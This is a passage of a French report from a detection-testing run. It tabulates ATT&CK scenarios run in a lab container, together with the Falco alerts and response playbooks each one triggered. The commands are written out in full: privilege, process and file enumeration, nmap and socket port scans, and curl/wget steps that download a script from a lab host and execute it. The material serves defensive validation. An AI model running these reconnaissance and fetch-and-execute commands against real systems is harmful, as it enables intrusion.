Vues lisibles des fichiers TSV produits pendant le run. Les valeurs sont affichées sans transformation ; seuls la mise en page et les codes couleur sont ajoutés. Chaque section renvoie vers son fichier source.
Source : artefacts/analyse/metrics.env
| Clé | Libellé | Valeur |
|---|---|---|
| CALDERA_PROJECT_TECHNIQUES | Techniques ATT&CK du projet | 6 |
| CALDERA_PRESENT | Présentes dans CALDERA | 6 |
| CALDERA_CORRELATED | Corrélées CALDERA ↔ scénarios ↔ Falco | 6 |
| CALDERA_REVIEW_CANDIDATES | Techniques à examiner | 11 |
| MANUAL_SCENARIOS | Scénarios contrôlés | 14 |
| MANUAL_EXECUTED | Exécutés | 14 |
| MANUAL_DETECTED | Détectés par Falco | 14 |
| MANUAL_ROUTED | Routés vers un playbook | 14 |
| MANUAL_COVERAGE | Couverture de détection (%) | 100.0 |
Source : artefacts/analyse/manual-detection.tsv · 14 ligne(s)
Une ligne par scénario : technique MITRE, règles Falco observées, routage Talon et état de notification.
| number | mitre_id | scenario_name | command | execution_status | start_ts | end_ts | falco_detected | falco_rules | alert_count | response_falco_rule | falco_trigger | sidekick_talon | playbook | route_playbook | playbook_triggered | primary_action | notify_admin | route_marker_observed | route_trace_id | falco_event_excerpt | route_falco_event | incident_id |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 1 | T1082 | Découverte des répertoires accessibles en écriture et des permissions | find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe | EXECUTED | 2026-11-09T06:11:11.510Z | 2026-11-09T06:11:17.945Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container | 6 | PR10 Route S01 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S01 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe parent=<NA> container=cible1) || 2026-11-09T06:11:11.674933114+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe process=sh parent=<NA> container=cible1 pod=cible1 namespace=default) | 2026-11-09T06:11:11.674933114+0000: Warning PR10 ROUTE S01 PB1 (pod=cible1 namespace=default scenario=S01 commande=sh -c PR10_SCENARIO=S01; find /tmp /var/tmp /dev/shm -maxdepth 2 -type d -writable -print 2>/dev/null; stat -c '%A %U:%G %n' /tmp /var/tmp /dev/shm 2>/dev/null; touch /tmp/manual-write-probe; stat /tmp/manual-write-probe >/dev/null; rm -f /tmp/manual-write-probe) | ROUTE-S01-aws-20261109-0608 |
| 2 | T1082 | Énumération des privilèges et de l’hôte | uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi | EXECUTED | 2026-11-09T06:11:18.060Z | 2026-11-09T06:11:24.779Z | YES | Custom T1059.004 Non Interactive Shell; Custom Suspicious Filesystem Enumeration; Drop and execute new binary in container; Custom T1057 Process Discovery | 8 | PR10 Route S02 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S02 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:18.191508819+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:18.221725403+0000: Notice CUSTOM - Découverte du système de fichiers (user=root command=find /usr/bin /usr/sbin -type f ( -perm -4000 -o -perm -2000 ) -ls container=cible1 pod=cible1) || 2026-11-09T06:11:18.244972795+0000: Critical Executing binary not part of base image | proc_exe=getcap proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203433918936480 proc_exe_ino_mtime=1783933016000000000 proc_exe_ino_ctime_duration_proc_start=1244324604169 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=getcap proc_exepath=/usr/sbin/getcap parent=sh command=getcap -r / terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:11:18.191508819+0000: Warning PR10 ROUTE S02 PB1 (pod=cible1 namespace=default scenario=S02 commande=sh -c PR10_SCENARIO=S02; uname -a; cat /etc/os-release 2>/dev/null | head -20; id; find /usr/bin /usr/sbin -type f \( -perm -4000 -o -perm -2000 \) -ls 2>/dev/null | head -40; if command -v getcap >/dev/null 2>&1; then getcap -r / 2>/dev/null | head -100; fi) | ROUTE-S02-aws-20261109-0608 |
| 3 | T1057 | Découverte des processus utilisateur et des lignes de commande | ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 | EXECUTED | 2026-11-09T06:11:24.878Z | 2026-11-09T06:11:31.516Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | 12 | PR10 Route S03 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S03 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:25.082595355+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:25.090625190+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:25.090625190+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1250364661160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:11:25.082595355+0000: Warning PR10 ROUTE S03 PB1 (pod=cible1 namespace=default scenario=S03 commande=sh -c PR10_SCENARIO=S03; ps aux | grep root | head -20; ps -eo pid,ppid,user,comm,args --sort=pid | head -30) | ROUTE-S03-aws-20261109-0608 |
| 4 | T1057 | Découverte détaillée des processus système | ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 | EXECUTED | 2026-11-09T06:11:31.609Z | 2026-11-09T06:11:38.169Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | 10 | PR10 Route S04 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S04 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:31.737014172+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:31.738974028+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:31.738974028+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1257017684196 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:11:31.737014172+0000: Warning PR10 ROUTE S04 PB1 (pod=cible1 namespace=default scenario=S04 commande=sh -c PR10_SCENARIO=S04; ps aux; ps -ef | head -40; ps -eo pid,ppid,user,stat,comm --sort=pid | head -40) | ROUTE-S04-aws-20261109-0608 |
| 5 | T1057 | Énumération des processus et de procfs | ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 | EXECUTED | 2026-11-09T06:11:38.264Z | 2026-11-09T06:11:44.702Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | 6 | PR10 Route S05 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S05 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:38.385153442+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:38.391856292+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps parent=sh container=cible1) || 2026-11-09T06:11:38.391856292+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1263670554160 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:11:38.385153442+0000: Warning PR10 ROUTE S05 PB1 (pod=cible1 namespace=default scenario=S05 commande=sh -c PR10_SCENARIO=S05; ps; find /proc -maxdepth 1 -type d -regex '/proc/[0-9]+' 2>/dev/null | head -25; for p in /proc/[0-9]*/cmdline; do tr '\0' ' ' < "$p" 2>/dev/null | head -c 160; echo; done | head -30) | ROUTE-S05-aws-20261109-0608 |
| 6 | T1057 | Découverte de la virtualisation et des processus de conteneur | ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true | EXECUTED | 2026-11-09T06:11:44.794Z | 2026-11-09T06:11:51.325Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1057 Process Discovery; Drop and execute new binary in container | 4 | PR10 Route S06 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S06 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:44.963596205+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:44.967222155+0000: Notice CUSTOM T1057 - Découverte des processus (user=root command=ps aux parent=sh container=cible1) || 2026-11-09T06:11:44.967222155+0000: Critical Executing binary not part of base image | proc_exe=ps proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203434720940389 proc_exe_ino_mtime=1753876720000000000 proc_exe_ino_ctime_duration_proc_start=1270245816496 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=ps proc_exepath=/usr/bin/ps parent=sh command=ps aux terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:11:44.963596205+0000: Warning PR10 ROUTE S06 PB1 (pod=cible1 namespace=default scenario=S06 commande=sh -c PR10_SCENARIO=S06; ps aux | grep -Ei 'qemu|vmware|virtualbox|hyperv|containerd|kube|docker' | head -25 || true; cat /proc/1/cgroup 2>/dev/null | head -20; test -f /.dockerenv && echo container-marker-present || true) | ROUTE-S06-aws-20261109-0608 |
| 7 | T1083 | Énumération récursive des répertoires et des fichiers | ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 | EXECUTED | 2026-11-09T06:11:51.426Z | 2026-11-09T06:11:57.812Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path | 4 | PR10 Route S07 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S07 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:51.547565344+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40 parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1) | 2026-11-09T06:11:51.547565344+0000: Warning PR10 ROUTE S07 PB1 (pod=cible1 namespace=default scenario=S07 commande=sh -c PR10_SCENARIO=S07; ls -la / /etc /tmp /var/tmp >/dev/null; find /etc -maxdepth 2 -type f 2>/dev/null | head -60; find /tmp /var/tmp -maxdepth 2 -type f 2>/dev/null | head -40) | ROUTE-S07-aws-20261109-0608 |
| 8 | T1083 | Recherche de fichiers nommés et inspection des métadonnées | mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery | EXECUTED | 2026-11-09T06:11:57.905Z | 2026-11-09T06:12:04.328Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path | 4 | PR10 Route S08 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S08 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery parent=<NA> container=cible1) || 2026-11-09T06:11:58.049629471+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery process=sh parent=<NA> container=cible1 pod=cible1 namespace=default) | 2026-11-09T06:11:58.049629471+0000: Warning PR10 ROUTE S08 PB1 (pod=cible1 namespace=default scenario=S08 commande=sh -c PR10_SCENARIO=S08; mkdir -p /tmp/manual-discovery; touch /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf /tmp/manual-discovery/manual-note.txt; find /tmp -type f -name 'manual-*' -print; stat /tmp/manual-discovery/manual-printer-job.ps /tmp/manual-discovery/manual-config.conf >/dev/null; rm -rf /tmp/manual-discovery) | ROUTE-S08-aws-20261109-0608 |
| 9 | T1083 | Parcours et inspection du répertoire de travail | pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null | EXECUTED | 2026-11-09T06:12:04.414Z | 2026-11-09T06:12:10.802Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container | 5 | PR10 Route S09 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S09 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:12:04.544812939+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) | 2026-11-09T06:12:04.544812939+0000: Warning PR10 ROUTE S09 PB1 (pod=cible1 namespace=default scenario=S09 commande=sh -c PR10_SCENARIO=S09; pwd; cd /tmp; pwd; ls -la /tmp | head -40; find /tmp -maxdepth 1 -type f -print 2>/dev/null | head -25; stat /tmp 2>/dev/null) | ROUTE-S09-aws-20261109-0608 |
| 10 | T1046 | Identification des services réseau | nmap -Pn -sV --version-light -p 80,443,8080 cible2 | EXECUTED | 2026-11-09T06:12:10.895Z | 2026-11-09T06:12:24.834Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1046 Network Service Discovery; Drop and execute new binary in container; Packet socket created in container | 6 | PR10 Route S10 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S10 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:12:11.027529036+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2 parent=runc container=cible1 pod=cible1) || 2026-11-09T06:12:11.032253238+0000: Warning CUSTOM T1046 - Découverte des services réseau (user=root processus=nmap commande=nmap -Pn -sV --version-light -p 80,443,8080 cible2 container=cible1) || 2026-11-09T06:12:11.032253238+0000: Critical Executing binary not part of base image | proc_exe=nmap proc_sname=sh gparent=runc proc_exe_ino_ctime=1794203435595944653 proc_exe_ino_mtime=1743184838000000000 proc_exe_ino_ctime_duration_proc_start=1295435933237 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=nmap proc_exepath=/usr/bin/nmap parent=sh command=nmap -Pn -sV --version-light -p 80,443,8080 cible2 terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER | 2026-11-09T06:12:11.027529036+0000: Warning PR10 ROUTE S10 PB1 (pod=cible1 namespace=default scenario=S10 commande=sh -c PR10_SCENARIO=S10; nmap -Pn -sV --version-light -p 80,443,8080 cible2) | ROUTE-S10-aws-20261109-0608 |
| 11 | T1046 | Découverte de services TCP sur plusieurs ports | python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" | EXECUTED | 2026-11-09T06:12:24.966Z | 2026-11-09T06:12:33.458Z | YES | Custom T1059.004 Non Interactive Shell; Drop and execute new binary in container; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer | 9 | PR10 Route S11 PB1 | YES | YES | PB1 | PB1 Routing Validation Playbook S11 | YES | Collecte de preuves | SKIPPED | YES | - | 2026-11-09T06:12:25.126186139+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]" parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:25.128024984+0000: Critical Executing binary not part of base image | proc_exe=python3 proc_sname=sh gparent=<NA> proc_exe_ino_ctime=1794203431370924062 proc_exe_ino_mtime=1786363619000000000 proc_exe_ino_ctime_duration_proc_start=1313756074362 proc_cwd=/ container_start_ts=1794203423779498188 evt_type=execve user=root user_uid=0 user_loginuid=-1 process=python3 proc_exepath=/usr/bin/python3.13 parent=sh command=python3 -c import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports] terminal=0 exe_flags=EXE_WRITABLE|EXE_UPPER_LAYER || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1 pod=cible1) | 2026-11-09T06:12:25.126186139+0000: Warning PR10 ROUTE S11 PB1 (pod=cible1 namespace=default scenario=S11 commande=sh -c PR10_SCENARIO=S11; python3 -c "import socket; host='cible2'; ports=(80,443,8080); [(lambda p: (print('probe',p), (lambda s: (s.settimeout(1), s.connect_ex((host,p)), print('result',p,s.connect_ex((host,p))), s.close()))(socket.socket())))(p) for p in ports]") | ROUTE-S11-aws-20261109-0608 |
| 12 | T1105 | Transfert, inspection et exécution d’un outil avec curl | curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh | EXECUTED | 2026-11-09T06:12:33.551Z | 2026-11-09T06:12:39.981Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container | 15 | PR10 Route S12 PB2 | YES | YES | PB2 | PB2 Routing Validation Playbook S12 | YES | Mise en quarantaine du fichier | SKIPPED | YES | - | 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh parent=<NA> container=cible1) || 2026-11-09T06:12:33.689017766+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default) | 2026-11-09T06:12:33.689017766+0000: Warning PR10 ROUTE S12 PB2 (pod=cible1 namespace=default scenario=S12 commande=sh -c PR10_SCENARIO=S12; curl -fsS http://cible2/manual-tool.sh -o /tmp/manual-curl-tool.sh; sha256sum /tmp/manual-curl-tool.sh; chmod +x /tmp/manual-curl-tool.sh; ls -l /tmp/manual-curl-tool.sh; /bin/sh /tmp/manual-curl-tool.sh; rm -f /tmp/manual-curl-tool.sh) | ROUTE-S12-aws-20261109-0608 |
| 13 | T1105 | Transfert, préparation et exécution d’un outil avec wget | wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh | EXECUTED | 2026-11-09T06:12:40.099Z | 2026-11-09T06:12:46.594Z | YES | Custom T1059.004 Non Interactive Shell; Custom T1082 Enumeration Script; Shell Script Executed From Writable Container Path; Custom T1105 Suspicious Tool Transfer; Drop and execute new binary in container; Custom T1057 Process Discovery | 16 | PR10 Route S13 PB2 | YES | YES | PB2 | PB2 Routing Validation Playbook S13 | YES | Mise en quarantaine du fichier | SKIPPED | YES | - | 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1059.004 - Shell non interactif (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent=<NA> container=cible1 pod=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning CUSTOM T1082 - Exécution d’un script d’énumération (user=root command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh parent=<NA> container=cible1) || 2026-11-09T06:12:40.236922455+0000: Warning Exécution suspecte d’un script shell dans un conteneur (user=root uid=0 command=sh -c PR10_SCENARIO=S13; wget -q http://cible2/manual-tool.sh -O /tmp/.manual-wget-tool.sh; sha256sum /tmp/.manual-wget-tool.sh; chmod +x /tmp/.manual-wget-tool.sh; cp /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh; /bin/sh /tmp/manual-stage-copy.sh; rm -f /tmp/.manual-wget-tool.sh /tmp/manual-stage-copy.sh process=sh parent=<NA> container=cible1 pod=cible1 namespace=default) | 2026-11-09T06:12:40.236922455+0000: Warning PR10 ROUTE S13 PB2 (pod=cible1 namespace=default 